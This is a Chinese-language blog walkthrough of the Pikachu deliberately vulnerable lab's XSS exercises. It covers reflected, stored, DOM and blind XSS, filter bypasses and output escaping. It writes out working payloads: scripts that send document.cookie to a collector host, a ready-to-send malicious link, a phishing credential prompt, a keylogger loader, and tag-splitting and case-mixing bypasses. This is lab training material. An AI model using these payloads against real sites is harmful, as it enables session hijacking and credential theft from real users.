zoukankan      html  css  js  c++  java
  • Pikachu——XSS(反射型,存储型,DOM型,盲打,过滤,htmlspecialchars(),href输出,js输出)

    XSS(跨站脚本)概述
    Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;

    XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
    XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
    形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
    因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
    输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
    输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

    小声叨叨:案例演示是后来补的QAQ


    反射型XSS(不和数据库交互,链接发给谁谁点开都弹1)

    • get型

    正常情况下是这样的

    在URL输入<script>alert(1)</script>

     产生弹框

    案例演示:盗取用户cookie

    这是我们要用到的管理后台,在左侧边栏底下的管理工具下的XSS后台,第一次点击进去会有红字提示需要安装和初始化,我们需要正确配置文件,再点击安装,就可以正常使用如下图

    修改为自己的地址,重定向到另一个可信网址 ,点击者就会不知情

      我之所以卡在这里的原因就是在URL里输入<script> document.location = 'http://192.168.29.21/pikachu-master/pkxss/xcookie/cookie.php?cookie='   +  document.cookie; </script>是没有用的,不跳转也不会有cookie被获取到,如下图所示

    正确的做法是先用firebug查看元素,将输入框输入字符的最大限度调大(这是一次性的,刷新以后再想尝试就还得重调)

     此时输入框就可以输入好长一串语句:<script>document.location = 'http://192.168.29.21/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

    点击submit就会发现成功跳转到了首页,取xss后台查看,成功获取到了cookie

    我把这个链接发给谁,只要点开了,我这里就可以获取到他的cookie

    http://192.168.29.21/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3E+document.location+%3D+%27http%3A%2F%2F192.168.29.21%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B+%09%3C%2Fscript%3E&submit=submit

    • post型

    首先需要登录

     再输入<script>alert(1)</script>

     弹框

     

     案例演示:盗取用户cookie

    记得把下图地址改成本机的(因为我是本地演示,如果是在多台虚拟机中进行实验,即将第1处修改为漏洞网站IP,第2处修改为黑客后台IP即可),文件地址一定要跟自己实际的对应

     首先用另一个账号密码test abc123登录

    登陆以后在输入框输入注入语句

     submit后发现跳转回首页,我们在后台成功获取到了cookie

     我们只需要受害者在该网站登录状态下访问链接http://192.168.29.21/pikachu-master/pkxss/xcookie/post.html,就可以获取其cookie


     存储型XSS(和数据库交互,无论别人在哪里访问该网站,都会弹1)

     

     弹框

     案例演示:钓鱼演示

    首先将这个文件里的地址改成自己的,以及自己的pikachu文件地址

     注意!!!fish.php里这里的换行符一定要删掉,要不然只弹框,输入了账号、密码也无法传输到后台

     在输入框输入 <script src="http://192.168.29.21/pikachu-master/pkxss/xfish/fish.php"></script>

     弹出认证框

     输入用户名密码,点击确定以后,再去后台查看发现

     案例演示:键盘记录(未完成)

    把rk.js的54行地址以及位置替换成自己的

    此处改为允许被跨域访问

    补充小知识:

    什么是跨域

    (1)当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域,我们把不同的域之间请求数据的操作,称为跨域操作

    (2)跨域-同源策略

        为了安全考虑,所有的浏览器都约定了"同源策略",同源策略规定:两个不同域名之间不能使用JS进行相互操作。例如:a.com域名下的JavaScript并不能操作b.com域下的对象。如果想要跨域操作,则需要管理员进行特殊的配置。例如:通过header("Access-Control-Allow-Origin:x.com")指定。

    注意:下面的这些标签跨域加载资源(资源类型有限制)是不受同源策略限制的。

    <script src="…">//js,加载到本地执行

    <image src="…">//图片

    <link href="…">//css

    <iframe src="…">//任意资源

    在存储型xss输入<script src="http://192.168.29.21/pikachu-master/pkxss/rkeypress/rk.js"></script>提交以后,在留言板位置随意输入不用点击提交

     后台查看应该是有键盘记录的,但是我这显示有错误,卡了很久,该改的都改了,读不到键盘值


    DOM型XSS(xss代码不需要服务器端解析响应的直接参与,触发xss的方式是浏览器端的dom解析)

    什么是Dom?(详细了解见https://www.w3school.com.cn/htmldom/index.asp)

    (1)DOM 是 W3C(万维网联盟)的标准。

    (2)DOM 定义了访问 HTML 和 XML 文档的标准:

    "W3C 文档对象模型 (DOM) 是中立于平台和语言的接口,它允许程序和脚本动态地访问和更新文档的内容、结构和样式。"

    (3)W3C DOM 标准被分为 3 个不同的部分:

    核心 DOM - 针对任何结构化文档的标准模型

    XML DOM - 针对 XML 文档的标准模型

    HTML DOM - 针对 HTML 文档的标准模型

    (4)注:DOM 是 Document Object Model(文档对象模型)的缩写。

    要改变页面的某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变、或移除的方法和属性,都是通过对文档对象类型来获得的(DOM),所以我们可以把DOM理解为一个访问HTML的标准编程接口。

    首先查看一下代码

     我们根据提示构造闭合语句:a' onclick="alert('xss')">;

     点击click me,再点击what do you see出现弹框

     Dom-x型xss

    操作步骤:在输入框输入1' onclick="alert('xss')">,点击“请说出你的伤心往事”——点击“有些~~~”——点击“就让往事~~~”


    XXS之盲打

    尝试在这两个地方输入<script>alert(1)</script>

     不管是分别输入还是两个同时输入,都看不出来啥效果,后台才能看到输入的内容,从前端是无法判断是否存在XSS的。

    我们进入http://192.168.29.21/pikachu-master/vul/xss/xssblind/admin_login.php并登录

     发现后台弹框

     这里可以直接插入前面获取Cookie的恶意代码,直接盲打后台管理员的Cookie

    演示:

     在任何一个输入框输入<script>document.location = 'http://192.168.29.21/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>并提交

    继续登录http://192.168.29.21/pikachu-master/vul/xss/xssblind/admin_login.php,自动跳转回首页,查看后台,cookie有了


    XSS过滤

    大小写混合绕过

    <ScRipt>alert(1)</sCriPt>

     再补充几种其他方式的

    1.输入框长度有限制的,使用firebug查看元素直接修改前端的限制,例如长度。

    2.拼凑:<scr<script>ipt>alert(11)</sc<script>ript>

    3.注释符:<scr<!--text-->ipt>alert(11)</sc<!--text-->ript>

    还有一种编码的方式,但是在使用时要注意是否会被输出点识别和执行,不然绕过了也没有用。(比如我尝试了对语句进行URL编码,结果是不行)


    htmlspecialchars()函数

    htmlspecialchars()函数:把预定义的字符转换成为HTML实体,预定义的字符如下:

    &(和号)成为&amp

    "(双引号)成为&quot

    '(单引号)成为&#039

    <(小于号)成为&lt

    >(大于号)成为&gt

    可用的引号类型:

    ENT_COMPAT-默认。仅编码双引号。

    ENT_QUOTES-编码双引号和单引号。

    ENT_NOQUOTES-不编码任何引号。

     在这里单引号并没有被过滤,所以我们使用单引号构造闭合

     'onclick='alert(12)'


    XXS防范

     一、href输出

     输出在a标签的herf属性里边,我们可以执行JavaScript协议执行js。

    在输入框输入:javascript:alert(12),然后点击submit。我们点击出现的一个连接,就会出现下面的页面。

     二、js输出

    我们首先输入一段字符串r1se,提交以后查看网页源代码

     构造闭合r1se'</script><script>alert('xss')</script>粘贴至输入框,成功弹框

     所以我们该怎么防范呢

    我们会想到对html进行实体编码,也就是代码中使用htmlspecialchars()函数,但是javascript里面是不会对tag和字符实体进行解释,也就是说,虽然编码表面上可以解决问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。针对这种情况,我们应该在JS的输出点应该使用对特殊字符进行转义。

     
  • 相关阅读:
    BZOJ 2821: 作诗(Poetize)( 分块 )
    BZOJ 2440: [中山市选2011]完全平方数( 二分答案 + 容斥原理 + 莫比乌斯函数 )
    BZOJ 1058: [ZJOI2007]报表统计( 链表 + set )
    BZOJ 1034: [ZJOI2008]泡泡堂BNB( 贪心 )
    BZOJ 1016: [JSOI2008]最小生成树计数( kruskal + dfs )
    BZOJ 2329: [HNOI2011]括号修复( splay )
    BZOJ 3143: [Hnoi2013]游走( 高斯消元 )
    BZOJAC400题留念
    BZOJ 2982: combination( lucas )
    poj 3233
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/13255748.html
Copyright © 2011-2022 走看看